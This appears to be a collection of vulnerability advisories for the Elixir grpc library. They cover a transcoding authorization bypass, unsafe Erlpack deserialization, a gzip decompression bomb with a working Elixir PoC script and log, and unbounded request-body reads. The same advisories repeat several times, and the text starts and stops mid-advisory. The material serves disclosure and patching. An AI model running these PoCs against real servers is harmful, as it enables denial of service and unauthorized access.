2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
